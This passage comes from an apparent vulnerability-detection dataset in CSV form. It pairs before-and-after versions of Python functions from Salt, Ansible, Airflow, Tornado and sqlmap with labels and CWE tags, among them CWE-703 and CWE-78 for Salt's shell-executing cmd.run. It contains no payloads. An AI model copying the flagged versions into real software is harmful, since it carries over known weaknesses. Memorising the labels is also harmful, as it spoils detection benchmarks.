                pkg_list = __salt__['pip.list'](
                    prefix, bin_env, user=user, cwd=cwd
                )
            if not pkg_list:
                ret['comment'] = (
                    'There was no error installing package \'{0}\' although '
                    'it does not show when calling '
                    '\'pip.freeze\'.'.format(name)
                )
                ret['changes']['{0}==???'.format(name)] = 'Installed'
                return ret

            version = list(pkg_list.values())[0]
            pkg_name = next(iter(pkg_list))
            ret['changes']['{0}=={1}'.format(pkg_name, version)] = 'Installed'
            ret['comment'] = 'Package was successfully installed'
    elif pip_install_call:
        ret['result'] = False
        if 'stdout' in pip_install_call:
            error = 'Error: {0} {1}'.format(pip_install_call['stdout'],
                                            pip_install_call['stderr'])
        else:
            error = 'Error: {0}'.format(pip_install_call['comment'])

        if requirements or editable:
            comments = []
            if requirements:
                comments.append('Unable to process requirements file '
                                '{0}.'.format(requirements))
            if editable:
                comments.append('Unable to install from VCS checkout'
                                '{0}.'.format(editable))
            comments.append(error)
            ret['comment'] = ' '.join(comments)
        else:
            ret['comment'] = ('Failed to install package {0}. '
                              '{1}'.format(name, error))
    else:
        ret['result'] = False
        ret['comment'] = 'Could not install package'

    return ret"
,UNKNOWN,UNKNOWN,lib/ansible/modules/clustering/consul_acl.py,1,"def set_acl(consul_client, configuration):
    """"""
    Sets an ACL based on the given configuration.
    :param consul_client: the consul client
    :param configuration: the run configuration
    :return: the output of setting the ACL
    """"""
    acls_as_json = decode_acls_as_json(consul_client.acl.list())
    existing_acls_mapped_by_name = dict((acl.name, acl) for acl in acls_as_json if acl.name is not None)
    existing_acls_mapped_by_token = dict((acl.token, acl) for acl in acls_as_json)
    if None in existing_acls_mapped_by_token:
        raise AssertionError(""expecting ACL list to be associated to a token: %s"" %
                             existing_acls_mapped_by_token[None])

    if configuration.token is None and configuration.name and configuration.name in existing_acls_mapped_by_name:
        # No token but name given so can get token from name
        configuration.token = existing_acls_mapped_by_name[configuration.name].token

    if configuration.token and configuration.token in existing_acls_mapped_by_token:
        return update_acl(consul_client, configuration)
    else:
        if configuration.token in existing_acls_mapped_by_token:
            raise AssertionError()
        if configuration.name in existing_acls_mapped_by_name:
            raise AssertionError()
        return create_acl(consul_client, configuration)",CWE-703,ansible/ansible,99d4f5bab4d334c0457a0cc6635f3104ca672834,"def set_acl(consul_client, configuration):
    """"""
    Sets an ACL based on the given configuration.
    :param consul_client: the consul client
    :param configuration: the run configuration
    :return: the output of setting the ACL
    """"""
    acls_as_json = decode_acls_as_json(consul_client.acl.list())
    existing_acls_mapped_by_name = dict((acl.name, acl) for acl in acls_as_json if acl.name is not None)
    existing_acls_mapped_by_token = dict((acl.token, acl) for acl in acls_as_json)
    assert None not in existing_acls_mapped_by_token, ""expecting ACL list to be associated to a token: %s"" \
                                                      % existing_acls_mapped_by_token[None]

    if configuration.token is None and configuration.name and configuration.name in existing_acls_mapped_by_name:
        # No token but name given so can get token from name
        configuration.token = existing_acls_mapped_by_name[configuration.name].token

    if configuration.token and configuration.token in existing_acls_mapped_by_token:
        return update_acl(consul_client, configuration)
    else:
        assert configuration.token not in existing_acls_mapped_by_token
        assert configuration.name not in existing_acls_mapped_by_name
        return create_acl(consul_client, configuration)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/spanner.py,0,"def __init__(
        self,
        gcp_conn_id: str = ""google_cloud_default"",
        impersonation_chain: str | Sequence[str] | None = None,
        **kwargs,
    ) -> None:
        if kwargs.get(""delegate_to"") is not None:
            raise RuntimeError(
                ""The `delegate_to` parameter has been deprecated before and finally removed in this version""
                "" of Google Provider. You MUST convert it to `impersonate_chain`""
            )
        super().__init__(
            gcp_conn_id=gcp_conn_id,
            impersonation_chain=impersonation_chain,
        )
        self._client: Client | None = None",CWE-Unknown,apache/airflow,28d1bf8dfc03787cc2b4373bbaa27527bdd91846,"def __init__(
        self,
        gcp_conn_id: str = ""google_cloud_default"",
        impersonation_chain: str | Sequence[str] | None = None,
        **kwargs,
    ) -> None:
        if kwargs.get(""delegate_to"") is not None:
            raise RuntimeError(
                ""The `delegate_to` parameter has been deprecated before and finally removed in this version""
                "" of Google Provider. You MUST convert it to `impersonate_chain`""
            )
        super().__init__(
            gcp_conn_id=gcp_conn_id,
            impersonation_chain=impersonation_chain,
        )
        self._client = None"
,UNKNOWN,UNKNOWN,airflow/models.py,1,"def collect_dags(
            self,
            dag_folder=None,
            only_if_updated=True):
        """"""
        Given a file path or a folder, this method looks for python modules,
        imports them and adds them to the dagbag collection.

        Note that if a .airflowignore file is found while processing,
        the directory, it will behaves much like a .gitignore does,
        ignoring files that match any of the regex patterns specified
        in the file.
        """"""
        dag_folder = dag_folder or self.dag_folder
        if os.path.isfile(dag_folder):
            self.process_file(dag_folder, only_if_updated=only_if_updated)
        elif os.path.isdir(dag_folder):
            patterns = []
            for root, dirs, files in os.walk(dag_folder, followlinks=True):
                ignore_file = [f for f in files if f == '.airflowignore']
                if ignore_file:
                    f = open(os.path.join(root, ignore_file[0]), 'r')
                    patterns += [p for p in f.read().split('\n') if p]
                    f.close()
                for f in files:
                    try:
                        filepath = os.path.join(root, f)
                        if not os.path.isfile(filepath):
                            continue
                        mod_name, file_ext = os.path.splitext(
                            os.path.split(filepath)[-1])
                        if file_ext != '.py':
                            continue
                        if not any(
                                [re.findall(p, filepath) for p in patterns]):
                            self.process_file(
                                filepath, only_if_updated=only_if_updated)
                    except:
                        pass",CWE-703,apache/airflow,a0833d918dcb7a50525556b5fc9af937181e222a,"def collect_dags(
            self,
            dag_folder=None,
            only_if_updated=True):
        """"""
        Given a file path or a folder, this file looks for python modules,
        imports them and adds them to the dagbag collection.

        Note that if a .airflowignore file is found while processing,
        the directory, it will behaves much like a .gitignore does,
        ignoring files that match any of the regex patterns specified
        in the file.
        """"""
        dag_folder = dag_folder or self.dag_folder
        if os.path.isfile(dag_folder):
            self.process_file(dag_folder, only_if_updated=only_if_updated)
        elif os.path.isdir(dag_folder):
            patterns = []
            for root, dirs, files in os.walk(dag_folder, followlinks=True):
                ignore_file = [f for f in files if f == '.airflowignore']
                if ignore_file:
                    f = open(os.path.join(root, ignore_file[0]), 'r')
                    patterns += [p for p in f.read().split('\n') if p]
                    f.close()
                for f in files:
                    try:
                        filepath = os.path.join(root, f)
                        if not os.path.isfile(filepath):
                            continue
                        mod_name, file_ext = os.path.splitext(
                            os.path.split(filepath)[-1])
                        if file_ext != '.py':
                            continue
                        if not any(
                                [re.findall(p, filepath) for p in patterns]):
                            self.process_file(
                                filepath, only_if_updated=only_if_updated)
                    except:
                        pass"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/tcpclient.py,0,"def _create_stream(self, max_buffer_size, af, addr):
        # Always connect in plaintext; we'll convert to ssl if necessary
        # after one connection has completed.
        try:
            stream = IOStream(socket.socket(af),
                            io_loop=self.io_loop,
                            max_buffer_size=max_buffer_size)
        except socket.error as e:
            fu = Future()
            fu.set_exception(e)
            return fu
        else:
            return stream.connect(addr)",CWE-Unknown,tornadoweb/tornado,e40b89a8691621653ccca66e9bf81240e6cb1ae5,"def _create_stream(self, max_buffer_size, af, addr):
        # Always connect in plaintext; we'll convert to ssl if necessary
        # after one connection has completed.
        stream = IOStream(socket.socket(af),
                          io_loop=self.io_loop,
                          max_buffer_size=max_buffer_size)
        return stream.connect(addr)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/cloudstack.py,0,"def get_vpc(self, key=None):
        """"""Return a VPC dictionary or the value of given key of.""""""
        if self.vpc:
            return self._get_by_key(key, self.vpc)

        vpc = self.module.params.get('vpc')
        if not vpc:
            vpc = os.environ.get('CLOUDSTACK_VPC')
        if not vpc:
            return None

        args = {
            'account': self.get_account(key='name'),
            'domainid': self.get_domain(key='id'),
            'projectid': self.get_project(key='id'),
            'zoneid': self.get_zone(key='id'),
        }
        vpcs = self.cs.listVPCs(**args)
        if not vpcs:
            self.module.fail_json(msg=""No VPCs available."")

        for v in vpcs['vpc']:
            if vpc in [v['name'], v['displaytext'], v['id']]:
                # Fail if the identifyer matches more than one VPC
                if self.vpc:
                    self.module.fail_json(msg=""More than one VPC found with the provided identifyer '%s'"" % vpc)
                else:
                    self.vpc = v
        if self.vpc:
            return self._get_by_key(key, self.vpc)
        self.module.fail_json(msg=""VPC '%s' not found"" % vpc)",,ansible/ansible,2be3418a8150ab1099e23e613919a7337e13934f,"def get_vpc(self, key=None):
        """"""Return a VPC dictionary or the value of given key of.""""""
        if self.vpc:
            return self._get_by_key(key, self.vpc)

        vpc = self.module.params.get('vpc')
        if not vpc:
            vpc = os.environ.get('CLOUDSTACK_VPC')
        if not vpc:
            return None

        args = {
            'account': self.get_account(key='name'),
            'domainid': self.get_domain(key='id'),
            'projectid': self.get_project(key='id'),
            'zoneid': self.get_zone(key='id'),
        }
        vpcs = self.cs.listVPCs(**args)
        if not vpcs:
            self.module.fail_json(msg=""No VPCs available."")

        for v in vpcs['vpc']:
            if vpc in [v['displaytext'], v['name'], v['id']]:
                self.vpc = v
                return self._get_by_key(key, self.vpc)
        self.module.fail_json(msg=""VPC '%s' not found"" % vpc)"
,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,1,"def run(cmd,
        cwd=None,
        stdin=None,
        runas=None,
        shell=DEFAULT_SHELL,
        python_shell=True,
        env=(),
        clean_env=False,
        template=None,
        rstrip=True,
        umask=None,
        output_loglevel='info',
        quiet=False,
        timeout=None,
        reset_system_locale=True,
        saltenv='base',
        **kwargs):
    '''
    Execute the passed command and return the output as a string

    Note that ``env`` represents the environment variables for the command, and
    should be formatted as a dict, or a YAML string which resolves to a dict.

    CLI Example:

    .. code-block:: bash

        salt '*' cmd.run ""ls -l | awk '/foo/{print \\$2}'""

    The template arg can be set to 'jinja' or another supported template
    engine to render the command arguments before execution.
    For example:

    .. code-block:: bash

        salt '*' cmd.run template=jinja ""ls -l /tmp/{{grains.id}} | awk '/foo/{print \\$2}'""

    Specify an alternate shell with the shell parameter:

    .. code-block:: bash

        salt '*' cmd.run ""Get-ChildItem C:\\ "" shell='powershell'

    A string of standard input can be specified for the command to be run using
    the ``stdin`` parameter. This can be useful in cases where sensitive
    information must be read from standard input.:

    .. code-block:: bash

        salt '*' cmd.run ""grep f"" stdin='one\\ntwo\\nthree\\nfour\\nfive\\n'
    '''
    ret = _run(cmd,
               runas=runas,
               shell=shell,
               python_shell=python_shell,
               cwd=cwd,
               stdin=stdin,
               stderr=subprocess.STDOUT,
               env=env,
               clean_env=clean_env,
               template=template,
               rstrip=rstrip,
               umask=umask,
               output_loglevel=output_loglevel,
               quiet=quiet,
               timeout=timeout,
               reset_system_locale=reset_system_locale,
               saltenv=saltenv)

    if 'pid' in ret and '__pub_jid' in kwargs:
        # Stuff the child pid in the JID file
        proc_dir = os.path.join(__opts__['cachedir'], 'proc')
        jid_file = os.path.join(proc_dir, kwargs['__pub_jid'])
        if os.path.isfile(jid_file):
            serial = salt.payload.Serial(__opts__)
            with salt.utils.fopen(jid_file, 'rb') as fn_:
                jid_dict = serial.load(fn_)

            if 'child_pids' in jid_dict:
                jid_dict['child_pids'].append(ret['pid'])
            else:
                jid_dict['child_pids'] = [ret['pid']]
            # Rewrite file
            with salt.utils.fopen(jid_file, 'w+b') as fn_:
                fn_.write(serial.dumps(jid_dict))

    lvl = _check_loglevel(output_loglevel, quiet)
    if lvl is not None:
        if ret['retcode'] != 0:
            if lvl < LOG_LEVELS['error']:
                lvl = LOG_LEVELS['error']
            log.error(
                'Command {0!r} failed with return code: {1}'
                .format(cmd, ret['retcode'])
            )
        log.log(lvl, 'output: {0}'.format(ret['stdout']))
    return ret['stdout']",CWE-78,saltstack/salt,cfc825380e5cacfb0cb3648ee6a8d6a7a0d2e7c3,"def run(cmd,
        cwd=None,
        stdin=None,
        runas=None,
        shell=DEFAULT_SHELL,
        python_shell=True,
        env=(),
        clean_env=False,
        template=None,
        rstrip=True,
        umask=None,
        output_loglevel='info',
        quiet=False,
        timeout=None,
        reset_system_locale=True,
        saltenv='base',
        **kwargs):
    '''
    Execute the passed command and return the output as a string

    Note that ``env`` represents the environment variables for the command, and
    should be formatted as a dict, or a YAML string which resolves to a dict.

    CLI Example:

    .. code-block:: bash

        salt '*' cmd.run ""ls -l | awk '/foo/{print \\$2}'""

    The template arg can be set to 'jinja' or another supported template
    engine to render the command arguments before execution.
    For example:

    .. code-block:: bash

        salt '*' cmd.run template=jinja ""ls -l /tmp/{{grains.id}} | awk '/foo/{print \\$2}'""

    Specify an alternate shell with the shell parameter:

    .. code-block:: bash

        salt '*' cmd.run ""Get-ChildItem C:\\ "" shell='powershell'

    A string of standard input can be specified for the command to be run using
    the ``stdin`` parameter. This can be useful in cases where sensitive
    information must be read from standard input.:

    .. code-block:: bash

        salt '*' cmd.run ""grep f"" stdin='one\\ntwo\\nthree\\nfour\\nfive\\n'
    '''
    ret = _run(cmd,
               runas=runas,
               shell=shell,
               python_shell=python_shell,
               cwd=cwd,
               stdin=stdin,
               stderr=subprocess.STDOUT,
               env=env,
               clean_env=clean_env,
               template=template,
               rstrip=rstrip,
               umask=umask,
               output_loglevel=output_loglevel,
               quiet=quiet,
               timeout=timeout,
               reset_system_locale=reset_system_locale,
               saltenv=saltenv)

    if 'pid' in ret and '__pub_jid' in kwargs:
        # Stuff the child pid in the JID file
        proc_dir = os.path.join(__opts__['cachedir'], 'proc')
        jid_file = os.path.join(proc_dir, kwargs['__pub_jid'])
        if os.path.isfile(jid_file):
            serial = salt.payload.Serial(__opts__)
            with salt.utils.fopen(jid_file) as fn_:
                jid_dict = serial.load(fn_)

            if 'child_pids' in jid_dict:
                jid_dict['child_pids'].append(ret['pid'])
            else:
                jid_dict['child_pids'] = [ret['pid']]
            # Rewrite file
            with salt.utils.fopen(jid_file, 'w+') as fn_:
                fn_.write(serial.dumps(jid_dict))

    lvl = _check_loglevel(output_loglevel, quiet)
    if lvl is not None:
        if ret['retcode'] != 0:
            if lvl < LOG_LEVELS['error']:
                lvl = LOG_LEVELS['error']
            log.error(
                'Command {0!r} failed with return code: {1}'
                .format(cmd, ret['retcode'])
            )
        log.log(lvl, 'output: {0}'.format(ret['stdout']))
    return ret['stdout']"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/executors/sequential_executor.py,0,"def execute_async(
        self,
        key: TaskInstanceKey,
        command: CommandType,
        queue: str | None = None,
        executor_config: Any | None = None,
    ) -> None:
        self.validate_airflow_tasks_run_command(command)
        self.commands_to_run.append((key, command))

        span = Trace.get_current_span()
        if span.is_recording():
            span.set_attribute(""dag_id"", key.dag_id)
            span.set_attribute(""run_id"", key.run_id)
            span.set_attribute(""task_id"", key.task_id)
            span.set_attribute(""try_number"", key.try_number)
            span.set_attribute(""commands_to_run"", str(self.commands_to_run))",CWE-Unknown,apache/airflow,dd3c3a7a43102c967d76cdcfe1f2f8ebeef4e212,"def execute_async(
        self,
        key: TaskInstanceKey,
        command: CommandType,
        queue: str | None = None,
        executor_config: Any | None = None,
    ) -> None:
        self.validate_airflow_tasks_run_command(command)
        self.commands_to_run.append((key, command))

        span = Trace.get_current_span()
        if span.is_recording():
            span.set_attribute(""dag_id"", key.dag_id)
            span.set_attribute(""run_id"", key.run_id)
            span.set_attribute(""task_id"", key.task_id)
            span.set_attribute(""try_number"", key.try_number - 1)
            span.set_attribute(""commands_to_run"", str(self.commands_to_run))"
,UNKNOWN,UNKNOWN,lib/utils/crawler.py,1,"def crawl(target, post=None, cookie=None):
    if not target:
        return

    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = OrderedSet()
        threadData.shared.formsFound = False

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(conf.crawlExclude, current):
                            dbgMsg = ""skipping '%s'"" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0]
                except SqlmapConnectionException as ex:
                    errMsg = ""connection exception detected ('%s'). skipping "" % getSafeExString(ex)
                    errMsg += ""URL '%s'"" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = ""invalid URL detected. skipping '%s'"" % current
                    logger.critical(errMsg)
                except _http_client.InvalidURL as ex:
                    errMsg = ""invalid URL detected ('%s'). skipping "" % getSafeExString(ex)
                    errMsg += ""URL '%s'"" % current
                    logger.critical(errMsg)

                if not kb.threadContinue:
                    break

                if isinstance(content, six.text_type):
                    try:
                        match = re.search(r""(?si)<html[^>]*>(.+)</html>"", content)
                        if match:
                            content = ""<html>%s</html>"" % match.group(1)

                        soup = BeautifulSoup(content)
                        tags = soup('a')

                        tags += re.finditer(r'(?i)\s(href|src)=[""\'](?P<href>[^>""\']+)', content)
                        tags += re.finditer(r'(?i)window\.open\([""\'](?P<href>[^)""\']+)[""\']', content)

                        for tag in tags:
                            href = tag.get(""href"") if hasattr(tag, ""get"") else tag.group(""href"")

                            if href:
                                if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
                                    current = threadData.lastRedirectURL[1]
                                url = _urllib.parse.urljoin(current, htmlUnescape(href))

                                # flag to know if we are dealing with the same target host
                                _ = checkSameHost(url, target)

                                if conf.scope:
                                    if not re.search(conf.scope, url, re.I):
                                        continue
                                elif not _:
                                    continue

                                if (extractRegexResult(r""\A[^?]+\.(?P<result>\w+)(\?|\Z)"", url) or """").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
                                    with kb.locks.value:
                                        threadData.shared.deeper.add(url)
                                        if re.search(r""(.*?)\?(.+)"", url) and not re.search(r""\?(v=)?\d+\Z"", url) and not re.search(r""(?i)\.(js|css)(\?|\Z)"", url):
                                            threadData.shared.value.add(url)
                    except UnicodeEncodeError:  # for non-HTML files
                        pass
                    except ValueError:          # for non-valid links
                        pass
                    finally:
                        if conf.forms:
                            threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0

                if conf.verbose in (1, 2):
                    threadData.shared.count += 1
                    status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length))
                    dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status), True)

        threadData.shared.deeper = set()
        threadData.shared.unprocessed = set([target])

        _ = re.sub(r""(?<!/)/(?!/).*"", """", target)
        if _:
            if target.strip('/') != _.strip('/'):
                threadData.shared.unprocessed.add(_)

        if re.search(r""\?.*\b\w+="", target):
            threadData.shared.value.add(target)

        if kb.checkSitemap is None:
            message = ""do you want to check for the existence of ""
            message += ""site's sitemap(.xml) [y/N] ""
            kb.checkSitemap = readInput(message, default='N', boolean=True)

        if kb.checkSitemap:
            found = True
            items = None
            url = _urllib.parse.urljoin(target, ""/sitemap.xml"")
            try:
                items = parseSitemap(url)
            except SqlmapConnectionException as ex:
                if ""page not found"" in getSafeExString(ex):
                    found = False
                    logger.warn(""'sitemap.xml' not found"")
            except:
                pass
            finally:
                if found:
                    if items:
                        for item in items:
                            if re.search(r""(.*?)\?(.+)"", item):
                                threadData.shared.value.add(item)
                        if conf.crawlDepth > 1:
                            threadData.shared.unprocessed.update(items)
                    logger.info(""%s links found"" % (""no"" if not items else len(items)))

        if not conf.bulkFile:
            infoMsg = ""starting crawler for target URL '%s'"" % target
            logger.info(infoMsg)

        for i in xrange(conf.crawlDepth):
            threadData.shared.count = 0
            threadData.shared.length = len(threadData.shared.unprocessed)
            numThreads = min(conf.threads, len(threadData.shared.unprocessed))

            if not conf.bulkFile:
                logger.info(""searching for links with depth %d"" % (i + 1))

            runThreads(numThreads, crawlThread, threadChoice=(i > 0))
            clearConsoleLine(True)

            if threadData.shared.deeper:
                threadData.shared.unprocessed = set(threadData.shared.deeper)
            else:
                break

    except KeyboardInterrupt:
        warnMsg = ""user aborted during crawling. sqlmap ""
        warnMsg += ""will use partial list""
        logger.warn(warnMsg)

    finally:
        clearConsoleLine(True)

        if not threadData.shared.value:
            if not (conf.forms and threadData.shared.formsFound):
                warnMsg = ""no usable links found (with GET parameters)""
                if conf.forms:
                    warnMsg += "" or forms""
                logger.warn(warnMsg)
        else:
            for url in threadData.shared.value:
                kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))

        if kb.targets:
            if kb.normalizeCrawlingChoice is None:
                message = ""do you want to normalize ""
                message += ""crawling results [Y/n] ""

                kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)

            if kb.normalizeCrawlingChoice:
                seen = set()
                results = OrderedSet()

                for target in kb.targets:
                    value = ""%s%s%s"" % (target[0], '&' if '?' in target[0] else '?', target[2] or """")
                    match = re.search(r""/[^/?]*\?.+\Z"", value)
                    if match:
                        key = re.sub(r""=[^=&]*"", ""="", match.group(0)).strip(""&?"")
                        if '=' in key and key not in seen:
                            results.add(target)
                            seen.add(key)

                kb.targets = results

            storeResultsToFile(kb.targets)",CWE-703,sqlmapproject/sqlmap,74d3a6d77df15b54b511acdd9088fb50a8846520,"def crawl(target, post=None, cookie=None):
    if not target:
        return

    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = OrderedSet()
        threadData.shared.formsFound = False

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(conf.crawlExclude, current):
                            dbgMsg = ""skipping '%s'"" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0]
                except SqlmapConnectionException as ex:
                    errMsg = ""connection exception detected ('%s'). skipping "" % getSafeExString(ex)
                    errMsg += ""URL '%s'"" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = ""invalid URL detected. skipping '%s'"" % current
                    logger.critical(errMsg)
                except _http_client.InvalidURL as ex:
                    errMsg = ""invalid URL detected ('%s'). skipping "" % getSafeExString(ex)
                    errMsg += ""URL '%s'"" % current
                    logger.critical(errMsg)

                if not kb.threadContinue:
                    break

                if isinstance(content, six.text_type):
                    try:
                        match = re.search(r""(?si)<html[^>]*>(.+)</html>"", content)
                        if match:
                            content = ""<html>%s</html>"" % match.group(1)

                        soup = BeautifulSoup(content)
                        tags = soup('a')

                        tags += re.finditer(r'(?i)\s(href|src)=[""\'](?P<href>[^>""\']+)', content)
                        tags += re.finditer(r'(?i)window\.open\([""\'](?P<href>[^)""\']+)[""\']', content)

                        for tag in tags:
                            href = tag.get(""href"") if hasattr(tag, ""get"") else tag.group(""href"")

                            if href:
                                if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
                                    current = threadData.lastRedirectURL[1]
                                url = _urllib.parse.urljoin(current, htmlUnescape(href))

                                # flag to know if we are dealing with the same target host
                                _ = checkSameHost(url, target)

                                if conf.scope:
                                    if not re.search(conf.scope, url, re.I):
                                        continue
                                elif not _:
                                    continue

                                if (extractRegexResult(r""\A[^?]+\.(?P<result>\w+)(\?|\Z)"", url) or """").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
                                    with kb.locks.value:
                                        threadData.shared.deeper.add(url)
                                        if re.search(r""(.*?)\?(.+)"", url) and not re.search(r""\?(v=)?\d+\Z"", url) and not re.search(r""(?i)\.(js|css)(\?|\Z)"", url):
                                            threadData.shared.value.add(url)
                    except UnicodeEncodeError:  # for non-HTML files
                        pass
                    except ValueError:          # for non-valid links
                        pass
                    finally:
                        if conf.forms:
                            threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0

                if conf.verbose in (1, 2):
                    threadData.shared.count += 1
                    status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length))
                    dataToStdout(""\r[%s] [INFO] %s"" % (time.strftime(""%X""), status), True)

        threadData.shared.deeper = set()
        threadData.shared.unprocessed = set([target])

        _ = re.sub(r""(?<!/)/(?!/).*"", """", target)
        if _:
            if target.strip('/') != _.strip('/'):
                threadData.shared.unprocessed.add(_)

        if re.search(r""\?.*\b\w+="", target):
            threadData.shared.value.add(target)

        if kb.checkSitemap is None:
            message = ""do you want to check for the existence of ""
            message += ""site's sitemap(.xml) [y/N] ""
            kb.checkSitemap = readInput(message, default='N', boolean=True)

        if kb.checkSitemap:
            found = True
            items = None
            url = _urllib.parse.urljoin(target, ""/sitemap.xml"")
            try:
                items = parseSitemap(url)
            except SqlmapConnectionException as ex:
                if ""page not found"" in getSafeExString(ex):
                    found = False
                    logger.warn(""'sitemap.xml' not found"")
            except:
                pass
            finally:
                if found:
                    if items:
                        for item in items:
                            if re.search(r""(.*?)\?(.+)"", item):
                                threadData.shared.value.add(item)
                        if conf.crawlDepth > 1:
                            threadData.shared.unprocessed.update(items)
                    logger.info(""%s links found"" % (""no"" if not items else len(items)))

        if not conf.bulkFile:
            infoMsg = ""starting crawler for target URL '%s'"" % target
            logger.info(infoMsg)

        for i in xrange(conf.crawlDepth):
            threadData.shared.count = 0
            threadData.shared.length = len(threadData.shared.unprocessed)
            numThreads = min(conf.threads, len(threadData.shared.unprocessed))

            if not conf.bulkFile:
                logger.info(""searching for links with depth %d"" % (i + 1))

            runThreads(numThreads, crawlThread, threadChoice=(i > 0))
            clearConsoleLine(True)

            if threadData.shared.deeper:
                threadData.shared.unprocessed = set(threadData.shared.deeper)
            else:
                break

    except KeyboardInterrupt:
        warnMsg = ""user aborted during crawling. sqlmap ""
        warnMsg += ""will use partial list""
        logger.warn(warnMsg)

    finally:
        clearConsoleLine(True)

        if not threadData.shared.value:
            if not (conf.forms and threadData.shared.formsFound):
                warnMsg = ""no usable links found (with GET parameters)""
                if conf.forms:
                    warnMsg += "" or forms""
                logger.warn(warnMsg)
        else:
            for url in threadData.shared.value:
                kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))

        if kb.targets:
            if kb.normalizeCrawlingChoice is None:
                message = ""do you want to normalize ""
                message += ""crawling results [Y/n] ""

                kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)

            if kb.normalizeCrawlingChoice:
                seen = set()
                results = OrderedSet()

                for target in kb.targets:
                    value = ""%s%s%s"" % (target[0], '&' if '?' in target[0] else '?', target[2] or """")
                    match = re.search(r""/[^/?]*\?.+\Z"", value)
                    if match:
                        key = re.sub(r""=[^=&]*"", ""="", match.group(0)).strip(""&?"")
                        if key not in seen:
                            results.add(target)
                            seen.add(key)

                kb.targets = results

            storeResultsToFile(kb.targets)"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_list_py_file_paths(self):
        """"""
        [JIRA-1357] Test the 'list_py_file_paths' function used by the
        scheduler to list and load DAGs.
        """"""
        detected_files = set()
        expected_files = set()
        # No_dags is empty, _invalid_ is ignored by .airflowignore
        ignored_files = {
            'no_dags.py',
            'test_invalid_cron.py',
            'test_zip_invalid_cron.zip',
            'test_ignore_this.py',
            'test_invalid_param.py',
        }
        for root, _, files in os.walk(TEST_DAG_FOLDER):
            for file_name in files:
                if file_name.endswith('.py') or file_name.endswith('.zip'):
                    if file_name not in ignored_files:
                        expected_files.add(f'{root}/{file_name}')
        for file_path in list_py_file_paths(TEST_DAG_FOLDER, include_examples=False):
            detected_files.add(file_path)
        assert detected_files == expected_files

        ignored_files = {
            'helper.py',
        }
        example_dag_folder = airflow.example_dags.__path__[0]
        for root, _, files in os.walk(example_dag_folder):
            for file_name in files:
                if file_name.endswith('.py') or file_name.endswith('.zip'):
                    if file_name not in ['__init__.py'] and file_name not in ignored_files:
                        expected_files.add(os.path.join(root, file_name))
        detected_files.clear()
        for file_path in list_py_file_paths(TEST_DAG_FOLDER, include_examples=True):
            detected_files.add(file_path)
        assert detected_files == expected_files

        smart_sensor_dag_folder = airflow.smart_sensor_dags.__path__[0]
        for root, _, files in os.walk(smart_sensor_dag_folder):
            for file_name in files:
                if (file_name.endswith('.py') or file_name.endswith('.zip')) and file_name not in [
                    '__init__.py'
                ]:
                    expected_files.add(os.path.join(root, file_name))
        detected_files.clear()
        for file_path in list_py_file_paths(
            TEST_DAG_FOLDER, include_examples=True, include_smart_sensor=True
        ):
            detected_files.add(file_path)
        assert detected_files == expected_files",CWE-703,apache/airflow,c59001d79facf7e472e0581ac8a538c25eebfda7,"def test_list_py_file_paths(self):
        """"""
        [JIRA-1357] Test the 'list_py_file_paths' function used by the
        scheduler to list and load DAGs.
        """"""
        detected_files = set()
        expected_files = set()
        # No_dags is empty, _invalid_ is ignored by .airflowignore
        ignored_files = {
            'no_dags.py',
            'test_invalid_cron.py',
            'test_zip_invalid_cron.zip',
            'test_ignore_this.py',
        }
        for root, _, files in os.walk(TEST_DAG_FOLDER):
            for file_name in files:
                if file_name.endswith('.py') or file_name.endswith('.zip'):
                    if file_name not in ignored_files:
                        expected_files.add(f'{root}/{file_name}')
        for file_path in list_py_file_paths(TEST_DAG_FOLDER, include_examples=False):
            detected_files.add(file_path)
        assert detected_files == expected_files

        ignored_files = {
            'helper.py',
        }
        example_dag_folder = airflow.example_dags.__path__[0]
        for root, _, files in os.walk(example_dag_folder):
            for file_name in files:
                if file_name.endswith('.py') or file_name.endswith('.zip'):
                    if file_name not in ['__init__.py'] and file_name not in ignored_files:
                        expected_files.add(os.path.join(root, file_name))
        detected_files.clear()
        for file_path in list_py_file_paths(TEST_DAG_FOLDER, include_examples=True):
            detected_files.add(file_path)
        assert detected_files == expected_files

